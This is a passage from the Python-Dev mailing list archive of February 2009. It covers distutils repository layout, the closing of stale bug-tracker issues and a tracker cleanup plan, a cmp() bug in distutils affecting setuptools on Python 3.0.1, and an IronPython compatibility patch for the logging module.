<49904AB6.30205@egenix.com> <94bdd2610902160854u1d1c3273v4b6649266560b5df@mail.gmail.com> Message-ID: <4999A9C3.4000701@egenix.com> On 2009-02-16 17:54, Tarek Ziad? wrote: > 2009/2/9 M.-A. Lemburg : >> On 2009-02-08 11:15, Tarek Ziad? wrote: >>> Hello >>> >>> To avoid confusion, as suggested by Akira who works on cleaning the >>> Distutils pages on the python.org website, >>> I would like to move http://svn.python.org/view/distutils/trunk into a >>> branch and add a README.txt in an empty trunk >>> to explain the current status of the package. >>> >>> Any objection ? >> No. >> >> It be worthwhile keeping just the setup code and adjust that >> to take the distutils package from the python/ dir in order to >> build separate releases of the code for upload to PyPI (ones >> that basically provide the code as released in Python 2.x as >> separate download for 2.(x-1) and 2.(x-2)). > > Indeed, and for any Python version in fact, to get early feedbacks > between two Python releases. > > I will make releases as you mentioned, and also a development release > using the svn revision, > so people can try out the current trunk. > >>>> '%sdev-r69676' % sys.version.split()[0] > '2.7a0dev-r69676' Great ! Thanks, -- Marc-Andre Lemburg eGenix.com Professional Python Services directly from the Source (#1, Feb 16 2009) >>> Python/Zope Consulting and Support ... http://www.egenix.com/ >>> mxODBC.Zope.Database.Adapter ... http://zope.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ ::: Try our new mxODBC.Connect Python Database Interface for free ! :::: eGenix.com Software, Skills and Services GmbH Pastor-Loeh-Str.48 D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg Registered at Amtsgericht Duesseldorf: HRB 46611 http://www.egenix.com/company/contact/ From mal at egenix.com Mon Feb 16 19:01:14 2009 From: mal at egenix.com (M.-A. Lemburg) Date: Mon, 16 Feb 2009 19:01:14 +0100 Subject: [Python-Dev] Issues to be closed: objections? In-Reply-To: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com> References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com> Message-ID: <4999A9EA.1020300@egenix.com> On 2009-02-16 18:50, Daniel (ajax) Diniz wrote: > Hi, > I've marked some issues (25 now) to close, mostly because: > - there was no reply from OP, nor a clear justification for the issue; > - there are messages explaining why the issue is invalid; > - the OSes/versions of the report suggest the issue is currently invalid; > > However, I've been mistaken about the desirability of leaving an issue > open a couple of times in last days. So, I'd really appreciate if > someone could take a quick look at the issues below to avoid any > undesirable closing. > > I'll also mark them as pending later today, and plan to wait until the > weekend before closing. Any suggestion/criticism about this plan would > be welcome too. > > Thanks everybody for all the support, helping, patience and enduring the spam! > > Daniel > > http://bugs.python.org/issue1231081 platform.processor() could be smarter FYI: I've closed this one. -- Marc-Andre Lemburg eGenix.com Professional Python Services directly from the Source (#1, Feb 16 2009) >>> Python/Zope Consulting and Support ... http://www.egenix.com/ >>> mxODBC.Zope.Database.Adapter ... http://zope.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ ::: Try our new mxODBC.Connect Python Database Interface for free ! :::: eGenix.com Software, Skills and Services GmbH Pastor-Loeh-Str.48 D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg Registered at Amtsgericht Duesseldorf: HRB 46611 http://www.egenix.com/company/contact/ From ajaksu at gmail.com Mon Feb 16 19:24:53 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Mon, 16 Feb 2009 15:24:53 -0300 Subject: [Python-Dev] Issues to be closed: objections? In-Reply-To: <4999A9EA.1020300@egenix.com> References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com> <4999A9EA.1020300@egenix.com> Message-ID: <2d75d7660902161024y35f18784g92606ee2c14910b9@mail.gmail.com> M.-A. Lemburg wrote: >> http://bugs.python.org/issue1231081 platform.processor() could be smarter Thanks, Marc-Andre! If anyone else feels like closing some of these issues, go ahead (no need to report back, I'll find it out later). My rather bureaucratic approach is just to avoid a possible trigger-happiness on my part :) Daniel From jek-gmane1 at kleckner.net Mon Feb 16 19:33:57 2009 From: jek-gmane1 at kleckner.net (Jim Kleckner) Date: Mon, 16 Feb 2009 10:33:57 -0800 Subject: [Python-Dev] Buildbots for 2.6 and 3.0 In-Reply-To: <493B2DA8.2000105@v.loewis.de> References: <493B2DA8.2000105@v.loewis.de> Message-ID: Martin v. L?wis wrote: >> Looking at http://www.python.org/dev/buildbot/, we are still missing buildbots >> for the release26-maint and release30-maint branches. Is someone working on that? > > Yes. I won't enable 2.6 build slaves until 2.5.3 is released, but will > afterwards. How does one actually download the resulting .msi for a build? I poked a 2.6 build to try out the fix for issue4566: http://www.python.org/dev/buildbot/2.6/x86%20XP-4%202.6/builds/90 But searching around I don't see where the resulting files are stored. Where are they located? They used to go in here for 2.6 development: http://www.python.org/dev/daily-msi/ From regebro at gmail.com Mon Feb 16 20:08:19 2009 From: regebro at gmail.com (Lennart Regebro) Date: Mon, 16 Feb 2009 20:08:19 +0100 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? Message-ID: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> I discovered some remaining cmp() in 3.0.1, 38 minutes after Benjamin fixed them. :) Unfortunately, that means porting setuptools to 3.0.1 will be a bit difficult. So my question is: Will there be a 3.0.2 with those fixes, or should I add workaround code for 3.0.1? -- Lennart Regebro: Pythonista, Barista, Notsotrista. http://regebro.wordpress.com/ +33 661 58 14 64 From ajaksu at gmail.com Mon Feb 16 20:40:10 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Mon, 16 Feb 2009 16:40:10 -0300 Subject: [Python-Dev] Tracker cleanup report Message-ID: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com> Hi, Here's a summary of what's been accomplished and what's almost done. This kinda marks the end of this Bug Season for me, but I'd like to do at least one more installment before PyCon. We have closed 51 issues so far (sorry if I missed some): * Barry ********** Benjamin ************** Daniel ***** Georg * Guilherme * Hirokazu * Marc-Andre *** Mark ********** Martin * Raymond ** Terry ** Victor Thanks, guys! There are about 20 Mac-related, 24 invalid/outdated and four IRIX issues on the 'will be closed unless someone voices disagreement' queue, so we have a good chance of totaling a hundred closed issues in ten days. I estimate to have updated about 400-500 issues in the last seven days. I'm now nosy in 200 of these, that's karma for spamming python-dev and python-bugs. I'll pause the digging effort for the next days: besides having less free time, I think it'll help us digest all those updates. Obviously, the cleaning is far from complete: there are lots of issues with 2.5 as version, lots of similar issues (e.g. for socket, HTMLParser), etc. I'll soon post a tentative plan to attack these. The goal would roughly be making it easier to pick good issues for PyCon sprints and fixing in / adding to 2.7 and 3.1. Cheers, Daniel From leif.walsh at gmail.com Mon Feb 16 20:52:22 2009 From: leif.walsh at gmail.com (Leif Walsh) Date: Mon, 16 Feb 2009 14:52:22 -0500 Subject: [Python-Dev] Wow! In-Reply-To: <4996291C.5070905@canterbury.ac.nz> References: <4996291C.5070905@canterbury.ac.nz> Message-ID: On Fri, Feb 13, 2009 at 9:14 PM, Greg Ewing wrote: > Also it sounds like they could do with a really good > garbage collection algorithm just now. If only we had a second Earth to mess with, we could just copy and swap. -- Cheers, Leif From tjreedy at udel.edu Mon Feb 16 21:14:54 2009 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 16 Feb 2009 15:14:54 -0500 Subject: [Python-Dev] Issues to be closed: objections? In-Reply-To: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com> References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com> Message-ID: Daniel (ajax) Diniz wrote: > Hi, > I've marked some issues (25 now) to close, mostly because: > - there was no reply from OP, nor a clear justification for the issue; > - there are messages explaining why the issue is invalid; > - the OSes/versions of the report suggest the issue is currently invalid; > > However, I've been mistaken about the desirability of leaving an issue > open a couple of times in last days. So, I'd really appreciate if > someone could take a quick look at the issues below to avoid any > undesirable closing. > > I'll also mark them as pending later today, and plan to wait until the > weekend before closing. Any suggestion/criticism about this plan would > be welcome too. I believe items changed from open to pending get closed automatically after a couple of weeks (this should be documented, I hope), so that there is no need to revisit. > > Thanks everybody for all the support, helping, patience and enduring the spam! > > Daniel > > http://bugs.python.org/issue1231081 platform.processor() could be smarter > > http://bugs.python.org/issue1251921 Fail codecs.lookup() on 'mbcs' and 'tactis' > > http://bugs.python.org/issue1248119 pdb 'next' does not skip list comprehension > > http://bugs.python.org/issue1169633 Install fail code 2932 after fail > to copy python_icon.exe > > http://bugs.python.org/issue1111100 csv reader barfs encountering > quote when quote_none is set > > http://bugs.python.org/issue1044299 compile error with stlport > > http://bugs.python.org/issue1047540 Turtle.py hangs Idle > > http://bugs.python.org/issue995956 TclError with intel's hypertheading > > http://bugs.python.org/issue1001150 hotspot profiler does not work > correctly on P4 CPUs with HT > > http://bugs.python.org/issue974635 Slice indexes passed to __getitem__ > are wrapped > > http://bugs.python.org/issue974159 Starting a script in OSX within a > specific folder > > http://bugs.python.org/issue949667 file write() method and non-blocking mode. > > http://bugs.python.org/issue815753 SCO_SV: many modules cannot be imported > > http://bugs.python.org/issue727732 getpath.c-generated prefix wrong > for Tru64 scripts > > http://bugs.python.org/issue875654 add support for installations > compiled for debugging > > http://bugs.python.org/issue872815 How to pass the proxy server use socket > > http://bugs.python.org/issue854918 Configurable SSL handshake > > http://bugs.python.org/issue835176 [2.3.2] bz2 test failure on AIX > 4.3.2, Tru64 UNIX > > http://bugs.python.org/issue809887 Improve pdb breakpoint feedback > > http://bugs.python.org/issue780354 socket.makefile() isn't compatible > with marshal/cPickle/etc > > http://bugs.python.org/issue775340 OSX 'freeze' bug > > http://bugs.python.org/issue4191 urlparse normalize URL path > > http://bugs.python.org/issue1682241 Problems with urllib2 read() > > http://bugs.python.org/issue1210326 comma separated cookie values > > http://bugs.python.org/issue5072 urllib.open sends full URL after GET > command instead of local path > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/python-python-dev%40m.gmane.org > From p.f.moore at gmail.com Mon Feb 16 21:37:00 2009 From: p.f.moore at gmail.com (Paul Moore) Date: Mon, 16 Feb 2009 20:37:00 +0000 Subject: [Python-Dev] Tracker cleanup report In-Reply-To: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com> References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com> Message-ID: <79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com> 2009/2/16 Daniel (ajax) Diniz : > Hi, > Here's a summary of what's been accomplished and what's almost done. > This kinda marks the end of this Bug Season for me, but I'd like to do > at least one more installment before PyCon. Can I, for one, offer a *huge* round of applause for what you've achieved. It's great to see the tracker getting some serious attention. Paul. From benjamin at python.org Mon Feb 16 21:38:25 2009 From: benjamin at python.org (Benjamin Peterson) Date: Mon, 16 Feb 2009 14:38:25 -0600 Subject: [Python-Dev] Issues to be closed: objections? In-Reply-To: References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com> Message-ID: <1afaf6160902161238n2be8d1b6oe30d3717ee07501@mail.gmail.com> On Mon, Feb 16, 2009 at 2:14 PM, Terry Reedy wrote: > Daniel (ajax) Diniz wrote: >> >> Hi, >> I've marked some issues (25 now) to close, mostly because: >> - there was no reply from OP, nor a clear justification for the issue; >> - there are messages explaining why the issue is invalid; >> - the OSes/versions of the report suggest the issue is currently invalid; >> >> However, I've been mistaken about the desirability of leaving an issue >> open a couple of times in last days. So, I'd really appreciate if >> someone could take a quick look at the issues below to avoid any >> undesirable closing. >> >> I'll also mark them as pending later today, and plan to wait until the >> weekend before closing. Any suggestion/criticism about this plan would >> be welcome too. > > I believe items changed from open to pending get closed automatically after > a couple of weeks (this should be documented, I hope), so that there is no > need to revisit. No, that feature hasn't yet been implemented. -- Regards, Benjamin From brett at python.org Mon Feb 16 21:49:12 2009 From: brett at python.org (Brett Cannon) Date: Mon, 16 Feb 2009 12:49:12 -0800 Subject: [Python-Dev] Tracker cleanup report In-Reply-To: <79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com> References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com> <79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com> Message-ID: On Mon, Feb 16, 2009 at 12:37, Paul Moore wrote: > 2009/2/16 Daniel (ajax) Diniz : > > Hi, > > Here's a summary of what's been accomplished and what's almost done. > > This kinda marks the end of this Bug Season for me, but I'd like to do > > at least one more installment before PyCon. > > Can I, for one, offer a *huge* round of applause for what you've > achieved. It's great to see the tracker getting some serious > attention. Ditto from me! And I will eventually get to the bugs assigned to me (hopefully starting some time this week). -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From ncoghlan at gmail.com Mon Feb 16 22:15:29 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Tue, 17 Feb 2009 07:15:29 +1000 Subject: [Python-Dev] Tracker cleanup report In-Reply-To: <79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com> References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com> <79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com> Message-ID: <4999D771.3040401@gmail.com> Paul Moore wrote: > 2009/2/16 Daniel (ajax) Diniz : >> Hi, >> Here's a summary of what's been accomplished and what's almost done. >> This kinda marks the end of this Bug Season for me, but I'd like to do >> at least one more installment before PyCon. > > Can I, for one, offer a *huge* round of applause for what you've > achieved. It's great to see the tracker getting some serious > attention. Hear, hear! Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From martin at v.loewis.de Mon Feb 16 22:25:18 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 16 Feb 2009 22:25:18 +0100 Subject: [Python-Dev] Adding T_SIZET to structmember.h In-Reply-To: References: <5c6f2a5d0902130715x4d4f4beet7d936f9c549a1335@mail.gmail.com> <499611E6.1020104@v.loewis.de> Message-ID: <4999D9BE.1000105@v.loewis.de> > Martin, I was not clear enough. Please, just tell me: Do you believe > that this addition do make sense? Would you reject it for some reason > (other than a bad patch) ? I would be +0. All other integral types support both signed and signed fields, why not size_t. Regards, Martin From Jack.Jansen at cwi.nl Mon Feb 16 22:25:51 2009 From: Jack.Jansen at cwi.nl (Jack Jansen) Date: Mon, 16 Feb 2009 22:25:51 +0100 Subject: [Python-Dev] Tracker cleanup report In-Reply-To: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com> References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com> Message-ID: <5B32700B-4A22-4712-894E-D8D948AE0F05@cwi.nl> On 16-Feb-2009, at 20:40 , Daniel (ajax) Diniz wrote: > There are about 20 Mac-related, 24 invalid/outdated and four IRIX > issues on the 'will be closed unless someone voices disagreement' > queue, so we have a good chance of totaling a hundred closed issues in > ten days. I had a cursory look at these issues as they came by, and I didn't see any that struck me as still being relevant. -- Jack Jansen, , http://www.cwi.nl/~jack If I can't dance I don't want to be part of your revolution -- Emma Goldman -------------- next part -------------- An HTML attachment was scrubbed... URL: From greg.ewing at canterbury.ac.nz Mon Feb 16 23:04:35 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Tue, 17 Feb 2009 11:04:35 +1300 Subject: [Python-Dev] Wow! In-Reply-To: References: <4996291C.5070905@canterbury.ac.nz> Message-ID: <4999E2F3.1010409@canterbury.ac.nz> Leif Walsh wrote: > If only we had a second Earth to mess with, we could just copy and swap. Or we could use a generational approach, doing all our messy stuff around the moon and copying to earth when we've got our traffic control issues sorted out. -- Greg From guido at python.org Tue Feb 17 02:21:10 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 16 Feb 2009 17:21:10 -0800 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> Message-ID: [Resend, hopefully bag.python.org is fixed now.[ Can you explain the difficulty with porting setuptools in more detail? On Mon, Feb 16, 2009 at 11:08 AM, Lennart Regebro wrote: > I discovered some remaining cmp() in 3.0.1, 38 minutes after Benjamin > fixed them. :) Unfortunately, that means porting setuptools to 3.0.1 > will be a bit difficult. So my question is: Will there be a 3.0.2 with > those fixes, or should I add workaround code for 3.0.1? -- --Guido van Rossum (home page: http://www.python.org/~guido/) From benjamin at python.org Tue Feb 17 02:29:37 2009 From: benjamin at python.org (Benjamin Peterson) Date: Mon, 16 Feb 2009 19:29:37 -0600 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> Message-ID: <1afaf6160902161729x6c21679akdfb4998692108b67@mail.gmail.com> On Mon, Feb 16, 2009 at 5:50 PM, Guido van Rossum wrote: > Can you explain the difficulty with porting setuptools in more detail? Basically setuptools invokes a functions in distutils that was still using cmp(). (See the latest messages in issue #1717 for all the details.) -- Regards, Benjamin From brett at python.org Tue Feb 17 03:16:12 2009 From: brett at python.org (Brett Cannon) Date: Mon, 16 Feb 2009 18:16:12 -0800 Subject: [Python-Dev] Anyone want to lead the sprints at PyCon this year? Message-ID: Or am I doing it again as usual because I was stupid enough to ask this question? -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From ironfroggy at gmail.com Tue Feb 17 03:29:20 2009 From: ironfroggy at gmail.com (Calvin Spealman) Date: Mon, 16 Feb 2009 21:29:20 -0500 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> Message-ID: <76fd5acf0902161829jd8966c1wc4eb0f9295948590@mail.gmail.com> FWIW; I think a 3.0.2 would be useful socially (even volunteer projects have marketting issues to consider). It says "we are committed to making 3.x work", while the quick jump to 3.1 with only a limited minor fix release to 3.0 says "we stumbled into this and have to just brush this under the rug. But we got it right this time! I hope.." On Feb 16, 2009 2:08 PM, "Lennart Regebro" wrote: I discovered some remaining cmp() in 3.0.1, 38 minutes after Benjamin fixed them. :) Unfortunately, that means porting setuptools to 3.0.1 will be a bit difficult. So my question is: Will there be a 3.0.2 with those fixes, or should I add workaround code for 3.0.1? -- Lennart Regebro: Pythonista, Barista, Notsotrista. http://regebro.wordpress.com/ +33 661 58 14 64 _______________________________________________ Python-Dev mailing list Python-Dev at python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/ironfroggy%40gmail.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From ajaksu at gmail.com Tue Feb 17 04:20:58 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Tue, 17 Feb 2009 00:20:58 -0300 Subject: [Python-Dev] Tracker cleanup roadmap Message-ID: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com> This is the janitorial plan I mentioned earlier... It's so humongously huge by now that I'm not sure whether I should submit it to e.g. the Python Papers or just print it and set it on fire and run screaming. Fortunately, a tl;dl summary is provided :) Daniel Summary Let's improve the tracker UI to better fit our needs. Then, classify them bugs and separate garbage from real development. Lastly, bug reporters should get a better UI. That's it, any help is welcome. The wall of text Developer time constraints are arguably the main bottleneck in handling tickets, which is only a subset of Python development. Optimizing the application of main/core developers' time to Python issues is a no-brainer. Being able to add volunteers to the productive time pool is also very desirable. This document outlines a tentative plan to move towards a better workflow in the Python Tracker. Summary of tracker issues The Python Tracker contains more than 17000 tickets, with approximately 2350 still open. Of the open tickets, 500 were last updated more than a year ago, while about 1150 were created before that. Current problems Core developers, volunteers and newcomers are burdened with a lot of inefficient and/or nonproductive chores when handling issues. Requesting and waiting for feedback/confirmation/patch testing, performing multiple searches, missing relevant discussion in similar/duplicated issues and other low-level tasks and gotchas get in the way of solving real problems. The low signal/noise ratio of open issues is a major component of this burden. At least 850 issues have outdated/missing version information, while about 850 don't have a type (RFE, behavior, crash) set. About 800 issues have patches. Priorities carry little information, mostly because they are left in the default setting: 1200 issues are set to 'normal' (a SF.net artifact) and 750 have no priority (a Roundup artifact). Less than 200 tickets have 'low' priority. Most of these issues boil down to tracker features being underused. Another relevant time-sink consists of inadequacies of the current interface. Many search features are hard to use or notice, among them date spans and entering multiple inputs as lists. Other search features are lacking, mostly simple boolean relations, e.g. those including more than one keyword, full search terms, type, component, etc. Besides searching, the lack of interfaces (and backend support) for selecting and working with multiple issues tends to waste considerable amounts of time. Proposed plan The suggested approach consists of a three parts effort focusing first on developer-side tracker UI, then on massive issue categorization and lastly on user-side UI. This optimizes the work of a single tracker janitorveloper, but can be better partitioned if more janitorvelopers are available. The developer-side UI effort will focus, in this order, on making available tracker features easier to use, adding new search features and mass-handling of issues. This should improve both developers' and tracker janitors' workflow. Issue categorization will look like this last Bug Season (adding details to tickets), but hopefully with a saner workflow. There are a few clear sets of similar issues, e.g. about socket, handling of characters on network protocol and format parsing modules, Tkinter + IDLE, etc., that could use grouping and closing of duplicates. A suggested form of grouping would be 'umbrella' or 'grab-bag' issues, with existing issues of a topic as dependencies. Finally, bug-reporter UI. The idea is to make it easier for users to provide good bug reports, make the options clearer and minimize the need for (preliminary) issue post-processing by developers. This might include a template or wizard for reports, adding information about which versions receive fixes or RFE, etc. Deliverables (WIP) Developer-side UI Patches for client-side Roundup: - add missing fields/options to search (e.g. Stages, fix 'not closed') - allow multiple choices for versions, components and keywords - add checkboxes to multiselects - avoid drop-downs above multiselects (janitors misclick a lot!) - support for mass-selection/display (3rd party patch available) - add a clutter-free 'search in all issues' button Patches for server-side Roundup: - boolean searches - support for mass-updates (3rd party patch available) - maybe add regex support (3rd party patch available) Issue categorization - present better statistics about the open issues - maybe add grab-bag issues (3rd party patch available) - assorted closing, updating and poking old issues User-side interface Patches for client-side Roundup: - inline help for fields in issue creation - adapt current docs (and Brett's guide) for easy access during reporting Patches for server-side Roundup: - maybe add a wizard for filling bugs (3rd party patch available) Timeline TBD, first part should definitely be done before PyCon, how much of second part can be done for PyCon and 2.7/3.1 is hard to predict without more specific goals in this area. Conclusion TBD, should learn to write shorter, clear messages :/ From stephen at xemacs.org Tue Feb 17 04:44:14 2009 From: stephen at xemacs.org (Stephen J. Turnbull) Date: Tue, 17 Feb 2009 12:44:14 +0900 Subject: [Python-Dev] Issues to be closed: objections? In-Reply-To: <2d75d7660902161024y35f18784g92606ee2c14910b9@mail.gmail.com> References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com> <4999A9EA.1020300@egenix.com> <2d75d7660902161024y35f18784g92606ee2c14910b9@mail.gmail.com> Message-ID: <87prhhralt.fsf@xemacs.org> Daniel (ajax) Diniz writes: > M.-A. Lemburg wrote: > >> http://bugs.python.org/issue1231081 platform.processor() could be smarter > > Thanks, Marc-Andre! > > If anyone else feels like closing some of these issues, go ahead (no > need to report back, I'll find it out later). My rather bureaucratic > approach is just to avoid a possible trigger-happiness on my part > :) What you are doing is "formal process." It only becomes "bureaucracy" when you try to make others do the same. ;-) Thank you very much for the work and letting us know about the process you follow! From regebro at gmail.com Tue Feb 17 08:52:20 2009 From: regebro at gmail.com (Lennart Regebro) Date: Tue, 17 Feb 2009 08:52:20 +0100 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> Message-ID: <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> On Tue, Feb 17, 2009 at 00:50, Guido van Rossum wrote: > Can you explain the difficulty with porting setuptools in more detail? Oh, it just exposes a bug in distutils. It probably means I'll have to make a test for python version, and if it is 3.0.1, monkey-patch distutils. I haven't really looked into if there is any other possibilities yet, I'm concentrating to make it run for 3.1 trunk first. -- Lennart Regebro: Pythonista, Barista, Notsotrista. http://regebro.wordpress.com/ +33 661 58 14 64 From martin at v.loewis.de Tue Feb 17 09:15:26 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 17 Feb 2009 09:15:26 +0100 Subject: [Python-Dev] Tracker cleanup roadmap In-Reply-To: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com> References: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com> Message-ID: <499A721E.4060007@v.loewis.de> > Let's improve the tracker UI to better fit our needs. Then, classify > them bugs and separate garbage from real development. Lastly, bug > reporters should get a better UI. That's it, any help is welcome. The plan sounds great. I can help with the deployment aspects (reviewing tracker patches, and deploying them on the tracker site), but not much beyond that (except for discussions, of course). Don't expect too much help from other people - I have been waiting for volunteers to show up helping with the tracker for more than a year now. I suggest you prioritize things by "bang for the buck" (is that the right saying?), starting with changes that take least effort to implement. Discussions should be carried out on the tracker-discuss list, and, of course, in the meta-tracker. Good luck, Martin From fuzzyman at voidspace.org.uk Tue Feb 17 09:50:55 2009 From: fuzzyman at voidspace.org.uk (Michael Foord) Date: Tue, 17 Feb 2009 08:50:55 +0000 Subject: [Python-Dev] Patch logging module for IronPython compatibility Message-ID: <499A7A6F.8070400@voidspace.org.uk> Hello all, Issue 5287 is a patch for the logging module for compatibility with IronPython. IronPython provides sys._getframe but it throws an exception if you call it with a non-zero depth. This may be fixed in a future version of IronPython. http://bugs.python.org/issue5287 It doesn't at all change the behaviour on other platforms (does an explicit platform check I'm afraid) but fixes a nasty problem with the logging module not working at all on IronPython. As this is a bugfix for IronPython at least and IronPython 2.6 is currently being worked on (tracking Python 2.6) it would be great to get this into 2.6-maint. All the best, Michael -- http://www.ironpythoninaction.com/ http://www.voidspace.org.uk/blog From victor.stinner at haypocalc.com Tue Feb 17 10:00:30 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Tue, 17 Feb 2009 10:00:30 +0100 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> Message-ID: <200902171000.30304.victor.stinner@haypocalc.com> Le Tuesday 17 February 2009 08:52:20 Lennart Regebro, vous avez ?crit?: > On Tue, Feb 17, 2009 at 00:50, Guido van Rossum wrote: > > Can you explain the difficulty with porting setuptools in more detail? > > Oh, it just exposes a bug in distutils. It probably means I'll have to > make a test for python version, and if it is 3.0.1, monkey-patch > distutils. I haven't really looked into if there is any other > possibilities yet, I'm concentrating to make it run for 3.1 trunk > first. That's funny, because the failing code does compare versions :-) ... File "c:\Python30\lib\distutils\cygwinccompiler.py", line 314, in __init__ if self.gcc_version <= "2.91.57": File "c:\Python30\lib\distutils\version.py", line 64, in __le__ c = self._cmp(other) File "c:\Python30\lib\distutils\version.py", line 341, in _cmp return cmp(self.version, other.version) NameError: global name 'cmp' is not defined -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From fuzzyman at voidspace.org.uk Tue Feb 17 11:31:26 2009 From: fuzzyman at voidspace.org.uk (Michael Foord) Date: Tue, 17 Feb 2009 10:31:26 +0000 Subject: [Python-Dev] Patch logging module for IronPython compatibility In-Reply-To: <499A7A6F.8070400@voidspace.org.uk> References: <499A7A6F.8070400@voidspace.org.uk> Message-ID: <499A91FE.3070707@voidspace.org.uk> Michael Foord wrote: > Hello all, > > Issue 5287 is a patch for the logging module for compatibility with > IronPython. IronPython provides sys._getframe but it throws an exception > if you call it with a non-zero depth. This may be fixed in a future > version of IronPython. > > http://bugs.python.org/issue5287 > > It doesn't at all change the behaviour on other platforms (does an > explicit platform check I'm afraid) but fixes a nasty problem with the > logging module not working at all on IronPython. As this is a bugfix for > IronPython at least and IronPython 2.6 is currently being worked on > (tracking Python 2.6) it would be great to get this into 2.6-maint. I've submitted an alternative patch that catches the error _getframe raises on IronPython. As it is possible that _getframe will work on IronPython in the future (although it is likely to be enabled by a switch as tracking Python frames has a performance cost) this is a slightly more future proof solution. Michael > > All the best, > > Michael > -- http://www.ironpythoninaction.com/ http://www.voidspace.org.uk/blog From pedronis at openend.se Tue Feb 17 12:25:42 2009 From: pedronis at openend.se (Samuele Pedroni) Date: Tue, 17 Feb 2009 12:25:42 +0100 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: <200902171000.30304.victor.stinner@haypocalc.com> References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> <200902171000.30304.victor.stinner@haypocalc.com> Message-ID: <499A9EB6.3020802@openend.se> Victor Stinner wrote: > Le Tuesday 17 February 2009 08:52:20 Lennart Regebro, vous avez ?crit : > >> On Tue, Feb 17, 2009 at 00:50, Guido van Rossum wrote: >> >>> Can you explain the difficulty with porting setuptools in more detail? >>> >> Oh, it just exposes a bug in distutils. It probably means I'll have to >> make a test for python version, and if it is 3.0.1, monkey-patch >> distutils. I haven't really looked into if there is any other >> possibilities yet, I'm concentrating to make it run for 3.1 trunk >> first. >> > > Didn't a test fail because of this? seems the underlying issue is that this part of the stdlib didn't have enough test coverage. It seems that having very good/improving test coverage like is recommended for 3rd-party project wanting to switch would be a good goal for 3.0 evolution too. We know from PyPy experience that while always improving the test suite coverage is quite spotty at times. From lie.1296 at gmail.com Tue Feb 17 13:05:29 2009 From: lie.1296 at gmail.com (Lie Ryan) Date: Tue, 17 Feb 2009 12:05:29 +0000 (UTC) Subject: [Python-Dev] Wow! References: <4996291C.5070905@canterbury.ac.nz> <4999E2F3.1010409@canterbury.ac.nz> 